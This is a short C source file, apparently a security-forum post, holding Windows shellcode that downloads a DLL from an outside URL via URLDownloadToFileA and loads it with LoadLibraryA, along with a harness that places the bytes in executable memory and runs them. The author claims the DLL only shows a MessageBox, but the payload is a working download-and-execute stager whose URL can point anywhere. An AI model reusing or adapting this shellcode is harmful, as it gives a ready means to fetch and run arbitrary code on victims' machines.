The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll. The dead.dll library contains a simple MessageBox.
9b3b71b034ad73528caa43cda1296e3fe7ca567b2a131fa15fa58dd4abd4c16a
/*
Name: Download & Load (DLL) shellcode
Author: Nytro
Powered by: Romanian Security Team (https://rstforums.com/forum)
Based (90%) on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode"
shellcode available here: http://www.exploit-db.com/exploits/24318/
Tested on: Windows XP, Windows 7, Windows 8
The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll.
The dead.dll library contains a simple MessageBox, but do not trust me, download it and check it yourself. :)
*/
#include "stdafx.h"
#include <Windows.h>
int main()
{
// Our shellcode
unsigned char shellcode[] =
"\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B"
"\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01"
"\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x0F\x85\xF0"
"\xFF\xFF\xFF\x81\x78\x04\x72\x6F\x63\x41\x0F\x85\xE3\xFF\xFF\xFF"
"\x81\x78\x08\x64\x64\x72\x65\x0F\x85\xD6\xFF\xFF\xFF\x8B\x72\x24"
"\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\x8B\x14\x8E\x01"
"\xDA\x31\xC9\x51\x68\x2E\x64\x6C\x6C\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64"
"\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x89\x45\xFC\x51\x66\xB9\x6C"
"\x6C\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD0\x83"
"\xC4\x10\x8B\x54\x24\x04\x31\xC9\x51\x66\xB9\x65\x41\x51\x31\xC9"
"\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\x6E\x6C\x68"
"\x55\x52\x4C\x44\x54\x50\xFF\xD2\x31\xC9\x8D\x54\x24\x24\x51\x51"
"\x52\xEB\x1F\x51\xFF\xD0\x83\xC4\x1C\x31\xC0\x50\x68\x2E\x64\x6C"
"\x6C\x68\x64\x65\x61\x64\x54\x8B\x45\xFC\xFF\xD0\x90\xE9\xFA\xFF"
"\xFF\xFF\xE8\xDC\xFF\xFF\xFF"
"https://rstforums.com/fisiere/dead.dll"
"\x00";
LPVOID lpAlloc = NULL;
void (*pfunc)();
// Allocate memory (rwx) for shellcode
lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpAlloc == NULL)
{
printf("Memory isn't allocated!\n");
return 0;
}
// Copy
memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);
pfunc = (void (*)())lpAlloc;
// Execute
pfunc();
return 0;
}